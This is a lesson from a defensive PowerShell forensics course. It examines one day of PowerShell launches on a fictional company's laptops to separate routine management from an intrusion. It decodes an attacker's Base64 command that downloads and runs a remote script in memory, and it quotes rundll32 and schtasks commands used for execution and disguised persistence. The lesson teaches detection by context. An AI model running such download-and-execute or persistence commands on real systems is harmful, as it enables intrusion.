Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
0.7 An Administrator's Tool and an Attacker's Tool
Introduction
PowerShell is on every Windows machine, reaches every part of the system, talks to the network, runs on remote hosts and leaves no new program on disk. Those are exactly the qualities that make it an administrator's best tool, and exactly the same qualities that make it an attacker's.
Security teams cannot ban it without breaking the estate's management, so they have to understand it well enough to tell the two uses apart. Microsoft's own management tools, Intune, Configuration Manager and Defender among them, run PowerShell on endpoints every day, and so do most third-party agents.
This lesson looks at one day of PowerShell on Northgate's laptops, 9 March 2026, the day the intrusion this course investigates began. Most of it is ordinary management. One launch is the attack. The skill the lesson builds is the one the rest of the course depends on: judging PowerShell activity by its context rather than by its name or its switches.
It is also the skill that separates useful detection from noise. An organization that alerts on every PowerShell launch learns within a week to ignore the alerts, and an attacker's launch then hides among hundreds of legitimate ones. An organization that knows what its own PowerShell looks like can alert on what does not fit, and act on each alert, because there are few of them.
By the end of the lesson you can summarize a day of PowerShell launches by what started them, recognize common legitimate launchers, decode an encoded command, explain why command-line switches alone are poor evidence, describe living off the land, map PowerShell's capabilities to their defensive uses, and say what PowerShell records about its own use.
The evidence is every PowerShell launch on five laptops on 9 March 2026, taken from their Security event logs: when, on which host, as whom, started by what, and with what command line. NE-SHARMA-LT's rows are the intrusion's own, as Module 6 later reads them from the full logs. Everything runs live.
A Day of PowerShell
what started itEleven process launches across five laptops in one day, PowerShell, its remoting host and what PowerShell itself started, grouped by the process that started each one:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> @($r).Count
11
PS C:\Evidence> $r | Group-Object Parent | Sort-Object Count -Descending | Format-Table Count, Name
Count Name
----- ----
6 svchost.exe
2 AgentExecutor.exe
2 powershell.exe
1 WINWORD.EXE
Six were started by svchost.exe, five of them the nightly inventory task and one the host of a remote session; two by AgentExecutor.exe; two by powershell.exe itself; and one by WINWORD.EXE. The parent is the first thing to look at, because it says what caused PowerShell to run: a scheduled task, a management agent, a person at a keyboard, a remote administrator, or a document.
The parent answers a question PowerShell's name cannot.
It is set by Windows when the process starts, not by anything in the command line, though a determined attacker can forge it with a technique called parent process ID spoofing, one more reason never to rely on a single field. powershell.exe started by svchost.exe at one in the morning on every laptop looks like scheduled maintenance. powershell.exe started by Word at half past ten on one laptop looks like nothing an organization does on purpose.
Neither conclusion is final, but each tells the analyst where to look next.
The parent comes from the same process-creation event as the command line: Windows records both when a process starts, if process-creation auditing with command lines is enabled, and Sysmon records them independently. Module 6 shows both sources. Without that auditing the parent is often unknowable after the fact, which is one of the first gaps an investigation reports.
Time is the second thing. The inventory runs happen at 01:00 every night on every laptop, the same minute each time, because a scheduler started them. The attack happened once, mid-morning, on one host, at a moment that matched nothing else in the estate but a user opening a document. Regularity is one of the strongest signs of legitimate automation, and its absence is always worth noticing.
What Administrators Run
the normal backgroundThe launches started by svchost.exe and AgentExecutor.exe, grouped by their command lines:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> $r | Where-Object Parent -in 'svchost.exe', 'AgentExecutor.exe' | Group-Object { $_.CommandLine } |
>> ForEach-Object { '{0} x {1}' -f $_.Count, $_.Name }
2 x "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -executionPolicy bypass -file "C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\8c2f1e4a-0b7d-4f63-9a15-2e6d8b3c7f90_1.ps1"
5 x "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -File "C:\Program Files\NE\AssetAgent\inventory.ps1"
1 x C:\Windows\system32\wsmprovhost.exe -Embedding
Five identical launches of the Asset Agent's inventory script, one per laptop at 01:00, as SYSTEM, from a task Module 8 examines. Identical command lines across many hosts are themselves a sign of central management: an attacker on one machine rarely produces the same line, at the same minute, everywhere.
Two identical launches of an Intune remediation script, run by the Intune Management Extension's AgentExecutor.exe, as SYSTEM, with -executionPolicy bypass. Both are Northgate's own management, and both look alarming to someone who has not seen them before.
The Intune line in particular, SYSTEM running a script with a GUID for a name and the execution policy bypassed, is a pattern new analysts often escalate, and learning to recognize it is a rite of passage.
Knowing an estate's normal PowerShell is half of detecting its abnormal PowerShell. The other half is the detail this lesson keeps returning to: what started it, as whom, when, and what it did next.
Every organization has its own: inventory agents, deployment tools, monitoring scripts, administrators' remote sessions. An analyst who can name them can set them aside quickly, and an analyst who cannot will either drown in alerts or start ignoring PowerShell altogether, which is what attackers count on.
Learning them is mostly a matter of asking. The answer rarely fits in anyone's head, so writing it down matters more than asking once.
The administrators who wrote the inventory task, the team that runs Intune and the people who use remote sessions can say what their PowerShell looks like, and a short written list of legitimate launchers, with their parents, accounts and usual times, is one of the most valuable documents a security team can keep.
The remote session on NE-PATEL-LT is another normal pattern: wsmprovhost.exe is the process that hosts a PowerShell remoting session on the target, here for the administrator adm.m.webb. Module 9 collects evidence through exactly this mechanism, and Module 10 found the same account's credentials exposed, which is a reminder that normal activity by a compromised account is still worth a second look.
What the Attacker Ran
decoding the commandOne launch had Word as its parent and an encoded command line. It is the only launch of the eleven with either property, and the only one with both. Its details, and the command decoded:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> $enc = ($r | Where-Object CommandLine -match ' -enc ').CommandLine.Split(' ')[-1]
PS C:\Evidence> ($r | Where-Object CommandLine -match ' -enc ') | Format-List Time, Host, User, Parent
Time : 03/09/2026 10:30:12
Host : NE-SHARMA-LT
User : NE\p.sharma
Parent : WINWORD.EXE
PS C:\Evidence> [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.47/update.ps1')
At 10:30:12 on NE-SHARMA-LT, as p.sharma, Word started PowerShell with -NoP, no profile, -W Hidden, no visible window, and -enc, a command encoded in Base64. The switches are abbreviated, -NoP for -NoProfile, -W for -WindowStyle, -enc for -EncodedCommand, which PowerShell accepts for any unambiguous prefix and which attackers favor because short command lines are less likely to be noticed or truncated.
Decoded, it is one line: download the text at http://203.0.113.47/update.ps1 and run it with IEX, Invoke-Expression, without writing it to disk. The address is from a range reserved for documentation, as every external address in this course's evidence is, but the pattern is the one real intrusions use every day.
Encoding is not encryption, and it hides nothing from anyone who looks. Anyone with PowerShell can reverse it in a line, as here, and defensive tools decode it automatically. -EncodedCommand exists so that commands with quotes and special characters can be passed safely on a command line, and Microsoft documents it for that purpose.
Attackers use it because it hides the command from a casual glance and from naive text searches. Decoding it takes one line, and the decoded text, not the encoded string, is the evidence that matters.
The encoding itself is simple: the command's text in UTF-16, two bytes per character, written out in Base64. That is why the decode uses the Unicode encoding rather than UTF-8; decoded as UTF-8, the same bytes produce text with a null between every letter.
The decoded command also explains why the attack worked without dropping a file first: the second stage existed only in memory, fetched and run in one step. That is exactly what PowerShell's script block logging, in Module 7, is designed to record, and it is why that log, not the file system, is where the case's second stage is recovered.
Notice also what the attacker did not need: no administrator rights, no exploit, no new program. A user opened a document, allowed its macro to run, and PowerShell did everything else as that user. Most intrusions in this course's modules start this way, which is why the user's own PowerShell activity is where investigations begin.
Switches Are Not Verdicts
context isA common first idea for detecting malicious PowerShell is to flag suspicious switches, such as -ExecutionPolicy Bypass. Tried on this day:
PS> $r | Where-Object CommandLine -match '-executionPolicy bypass'PS> $r | Where-Object { $_.Parent -match 'WINWORD|EXCEL|POWERPNT|OUTLOOK' -and $_.Process -eq 'powershell.exe' }Both of the filters, run one after the other on the same eleven records, with the count for the first and the matching launch for the second:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> @($r | Where-Object CommandLine -match '-executionPolicy bypass').Count
2
PS C:\Evidence> $r | Where-Object { $_.Parent -match 'WINWORD|EXCEL|POWERPNT|OUTLOOK' -and $_.Process -eq 'powershell.exe' } | Format-List Time, Host, Parent
Time : 03/09/2026 10:30:12
Host : NE-SHARMA-LT
Parent : WINWORD.EXE
The bypass filter found two launches, both Intune. Had it been an alert, it would have sent an analyst to investigate Microsoft's own management agent twice, and said nothing about the attack. The context filter, PowerShell whose parent is an Office program, found exactly one: the attack.
Office applications have no business starting PowerShell in Northgate's estate, so that single condition separates the day perfectly. Attack surface reduction rules in Defender can block Office from creating child processes outright, a control Module 8 checks on the fleet; where it is enabled, this whole attack fails at its first step.
Real detections combine several such conditions: the parent, the user, the time, whether the window is hidden, whether the command is encoded, and what PowerShell does next. None is decisive alone, and each estate has exceptions, a macro that legitimately calls PowerShell, an agent that encodes its commands.
That is why detections are tuned to an organization's own normal, the theme of Module 11's risk scoring. A detection copied unchanged from another organization inherits its normal, which is rarely yours.
The same caution applies to switches that look suspicious in the other direction. -NoProfile, which the attacker used as -NoP, is good practice for every automated script, including the inventory task here. -WindowStyle Hidden has legitimate uses in tools that should not flash a window at users. The switches describe how PowerShell should run, not who is running it or why.
Living Off the Land
Windows doing the attacker's workThe attacker's PowerShell did not bring tools. It started programs that are already part of Windows:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> $r | Where-Object Parent -eq 'powershell.exe' | Format-List Time, Process, CommandLine
Time : 03/09/2026 10:31:23
Process : rundll32.exe
CommandLine : "C:\Windows\System32\rundll32.exe" C:\Users\p.sharma\AppData\Local\Temp\upd.dll,Start
Time : 03/09/2026 10:31:41
Process : schtasks.exe
CommandLine : schtasks.exe /Create /XML C:\Users\p.sharma\AppData\Local\Temp\t.xml /TN "Adobe Acrobat Update Helper"
rundll32.exe, to run the downloaded DLL from the user's Temp folder, and schtasks.exe, to create a scheduled task named Adobe Acrobat Update Helper from an XML file.
The task's name borrows a real product's, so that anyone glancing at a list of tasks reads it as routine; the same disguise appears in the Project, as a task named for OneDrive. Both are signed Microsoft programs that exist on every Windows machine. Application control that allows signed Microsoft programs, which most policies must, allows them too.
Using them instead of bringing custom tools is called living off the land, and PowerShell is its most capable example. The programs used this way are often called LOLBins, living-off-the-land binaries, and public projects catalog hundreds of them with the misuse each allows: downloading files, running code, bypassing controls. rundll32, regsvr32, mshta, certutil and bitsadmin are among the best known.
Living off the land is hard to block because blocking the programs it uses would break Windows for everyone. It is detected the way the Word launch was: by context. rundll32 loading a DLL from Temp, started by a PowerShell that Word started, is unusual even though each program is normal. The process tree, which Module 4 reconstructs, is the shape of the attack.
Here the tree is three generations deep: Word, then PowerShell, then rundll32 and schtasks. Each step is a normal Windows program doing something it can legitimately do, and only the chain as a whole is wrong. Reading a process tree, rather than a list of processes, is therefore one of the first skills Module 4 teaches, and it starts from exactly the parent field used throughout this lesson.
Why Defenders Need It Too
the same capabilitiesEverything the attacker used PowerShell for has a defensive mirror, and this course teaches each one:
The same capability, used both ways
Each row is something PowerShell does well, and where this course uses it for defense.
Reach the network
Attacker: download the next stage. Defender: query Graph, Defender XDR and reputation APIs. Module 10.
Run on many hosts
Attacker: spread with stolen credentials. Defender: collect and hunt across the fleet with JEA. Module 9.
Persist
Attacker: tasks, profiles, run keys, WMI. Defender: enumerate every one of them on every host. Module 8.
Read the system
Attacker: find credentials and targets. Defender: processes, logs, registry and files as evidence. Modules 3 to 6.
Hide intent
Attacker: encoding, aliases, hidden windows. Defender: decode, expand and log everything. Module 7.
Each row has a one-line form on a Windows host, which later modules build into full collections and hunts:
# The defender's side of each row, in one line each (on Windows, as a responder)
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match '-enc' } # read the system
Get-ScheduledTask | Where-Object Author -notlike 'Microsoft*' # enumerate persistence
Invoke-Command -ComputerName (Get-Content .\hosts.txt) -ScriptBlock { Get-MpThreatDetection } # many hosts
Invoke-RestMethod -Uri $tipUri -Headers $hdr # reach intelligence
The attacker reached the network, ran code without files, persisted through a scheduled task and read the system to decide what to do next. Every one of those steps used a capability Windows administrators rely on daily.
The defender uses the same capabilities to query security APIs, collect from many hosts, enumerate every persistence location and read processes, logs, files and the registry as evidence. Knowing how the attacker used the tool is how the defender knows where to look.
The one-liners above are not finished tools; each needs the care later modules add: running as the right account, collecting rather than just displaying, handling hosts that do not answer, recording what was done. But each shows how short the distance is between understanding an attack and checking for it, when the same language describes both.
That symmetry is why this course teaches PowerShell rather than a defensive product. Products change and differ between organizations; PowerShell is on every Windows host, in every investigation, on both sides. It is also the language in which many security products expose their own data, so fluency in it carries over from one employer's tools to the next.
An analyst fluent in it can read an attacker's script, reproduce what it did and collect the evidence it left, with the same tool.
What PowerShell Records
the attacker's tool keeps notesPowerShell is also unusually well instrumented, and the case's evidence shows what that buys. Few tools an attacker could choose record so much about their own use, if the logging is turned on. From the encoded command alone, without any other source:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> $enc = ($r | Where-Object CommandLine -match ' -enc ').CommandLine.Split(' ')[-1]
PS C:\Evidence> $enc.Length
212
PS C:\Evidence> $t = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
PS C:\Evidence> ($t -split "'")[1]
http://203.0.113.47/update.ps1
PS C:\Evidence> ([uri](($t -split "'")[1])).Host
203.0.113.47
A 212-character encoded string, which decoded to a URL, whose host is 203.0.113.47. That is an indicator for the whole fleet, recovered from a single process-creation event, because Windows logged the command line when PowerShell started.
The [uri] type, a .NET class, parsed the URL and returned its parts, the kind of small help from .NET that Lesson 0.3 described; extracting a host from a URL with string splitting alone is the sort of parsing Lesson 0.1 warned about.
Process-creation events are only the start. They record how a process was started, not what it did afterwards, which for an in-memory script is most of the story. Module 7 turns on and reads PowerShell's own logs: script block logging, which records the decoded text of every script that runs, including the update.ps1 that was never written to disk; module logging; and transcription.
With those enabled, PowerShell keeps notes on its own use in more detail than almost any other attacker tool, which is one reason defenders who know it well catch attacks that use it.
Attackers know this too, which is why some try to run PowerShell without powershell.exe, by loading its engine into another process, or to disable its logging first. Module 7 covers both, and the defense is the same as everywhere in this lesson: knowing what normal looks like closely enough that the absence of expected records is noticed.
The Day, Checked
five factsThe day's facts as checks: eight PowerShell launches, one from Word, no bypass switch on the attack, two programs started by the attacker's PowerShell, and five scheduled inventory runs:
PS C:\Evidence> $r = Get-Content ./pslaunch-fleet.json -Raw | ConvertFrom-Json
PS C:\Evidence> @(
>> @($r | Where-Object Process -eq "powershell.exe").Count -eq 8
>> @($r | Where-Object Parent -eq "WINWORD.EXE").Count -eq 1
>> @($r | Where-Object CommandLine -match "-executionPolicy bypass" | Where-Object Parent -eq "WINWORD.EXE").Count -eq 0
>> @($r | Where-Object Parent -eq "powershell.exe").Count -eq 2
>> @($r | Where-Object { $_.Parent -eq "svchost.exe" -and $_.Process -eq "powershell.exe" }).Count -eq 5
>> )
True
True
True
True
True
Five True. The third check is the lesson in one line: the attack did not use the switch that a naive filter looks for, and the legitimate activity did.
These checks also describe the day well enough to compare it with another. Run against the next day's launches, a change in any count, a sixth inventory run, a third launch from AgentExecutor, a new parent, is a question worth asking. Baselines built from simple counts like these are how a team notices that its normal has changed.
The last lesson of this module builds the workstation an analyst does all of this from: PowerShell 7.6, VS Code and the modules this course uses.
Practice
- Know normal. List the estate's legitimate PowerShell launchers: tasks, agents, remote sessions.
- Read the parent. Start every judgment from what started PowerShell, as whom and when.
- Decode. Decode encoded commands and judge the text, not the encoding.
- Follow the tree. Look at what PowerShell started next; living off the land shows in the children.
Then, on a Windows machine you are allowed to examine, list PowerShell processes with their parents using Get-CimInstance Win32_Process, and name the parent of each one, as this lesson did for the case.
Next: building the analyst workstation you will use for the rest of the course.